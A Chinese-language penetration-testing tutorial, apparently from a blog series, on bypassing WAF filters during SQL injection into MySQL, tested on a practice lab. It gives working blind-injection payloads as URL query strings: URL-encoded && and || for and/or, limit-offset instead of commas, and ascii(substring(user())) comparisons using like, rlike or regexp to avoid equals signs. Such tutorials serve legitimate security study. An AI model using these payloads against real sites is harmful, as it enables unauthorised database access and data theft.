web安全之SQL注入绕过技术(三)

文中详细讲解web安全之SQL注入的绕过技术,通过文中内容更加深入的掌握SQL注入绕过技术原理及使用方法,从而更好的用于渗透测试中;文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。

SQL注入绕过技术(三)

limit offset绕过

当我们在sql注入中,如果需要限定条目可以使用limit 0,1这样来限定返回条目的显示,如果对逗号进行了限制,那么如果我们只需要查看第一条数据可以使用limit 1,但如果需要查看第二条,使用limit 2会返回前两条数据,所以这里我们只能通过limit 1,1来查看,因此需要使用offset这个函数。

select * from users limit 1 offset 0;

web安全之SQL注入绕过技术(三)_第1张图片

and or xor not 绕过

在实战中,通常我们的防护设备会过滤掉and or xor not这几种字符,所有我们同样也有相对于的来进行代替:

and = &&
or = ||
not = !
xor = |

这里我们通过and 1=1 来查看是否有注入:
注:这里因为是字符型注入,所以需要’1’=‘1’ ,而非1=1,如果不使用–+过滤,那么就可以’1’='1

?name=vince' and '1'='1'--+&submit=1

同样如果and被过滤,我们则可以使用&&来代替,不过在浏览器中&&需要使用URL编码:

?name=vince' %26%26  '1'='1&submit=1 #真,返回正确页面
?name=vince' %26%26  '1'='2&submit=1 #假,返回错误页面

web安全之SQL注入绕过技术(三)_第2张图片
使用|| 来代替or,只要一边为真,就成立:

?name=' %7c%7c '1'='1&submit=1 #后为真,返回正确页面
?name=vince' %7c%7c '1'='2&submit=1 #前为真,返回正确页面
?name=' %7c%7c '1'='2&submit=1 #前后都为假,返回错误页面

web安全之SQL注入绕过技术(三)_第3张图片
web安全之SQL注入绕过技术(三)_第4张图片
使用xor来判断,xor不需要进行编码:

?name=' xor '1'='2&submit=1 # xor前为真,xor后为假,则返回正确页面
?name=' xor '1'='1&submit=1 # xor前为假,xor后为假,则返回错误页面

web安全之SQL注入绕过技术(三)_第5张图片

ascii字符对比绕过

当WAF对union select进行过滤,我们则不能使用联合查询注入,所以需要使用ascii字符对比的方法来进行突破waf实现绕过。

?name=vince' %26%26 ascii(substring(user() from 1 for 1))=114--+&submit=1 

r在ascii中就是114,所以返回正确页面,当不等于114的时候,就会返回错误页面:
在这里插入图片描述
web安全之SQL注入绕过技术(三)_第6张图片

等号绕过

根据上面我们使用ascii字符来对比,但如果我们等号被过滤,那么我们同样可以使用like,rlike,正则表达式regexp 或者运算符号<>来突破waf实现绕过。
当我们使用>113是正确页面,但使用>114是错误页面时,则说明我们当前用户的首字母ascii码就是114。

?name=vince' %26%26 ascii(substring(user() from 1 for 1))>114--+&submit=1

我们同样可以使用like来进行查询:

select * from users where id=1 and (select substring(user(),1,1)like 'r%');

web安全之SQL注入绕过技术(三)_第7张图片
**如果在浏览器中则可以优化将and使用&&,再转成%26%26来代替,逗号 from 1 for 1来替换, 'r%'转成ascii **
这样在语句中就没有等号,没有union select,没有逗号,没有and 。

?name=vince' %26%26 ascii(substring(user() from 1 for 1)like 114)--+&submit=1

rlike的用户与like基本相同。
web安全之SQL注入绕过技术(三)_第8张图片
使用正则表达式regexp来进行绕过:

select * from users where id=1 and 1=(select user() regexp '^r');

web安全之SQL注入绕过技术(三)_第9张图片
如果需要继续输出则直接在^r后面加,在浏览器中,如果一直是正确的,则返回正常页面,如果错误,则返回错误页面。
web安全之SQL注入绕过技术(三)_第10张图片
在浏览器中:

?name=vince' and 1=(select user() regexp '^root')--+&submit=1

web安全之SQL注入绕过技术(三)_第11张图片

你可能感兴趣的:(WEB安全,web安全,SQL注入,渗透测试,绕过技术,MYSQL)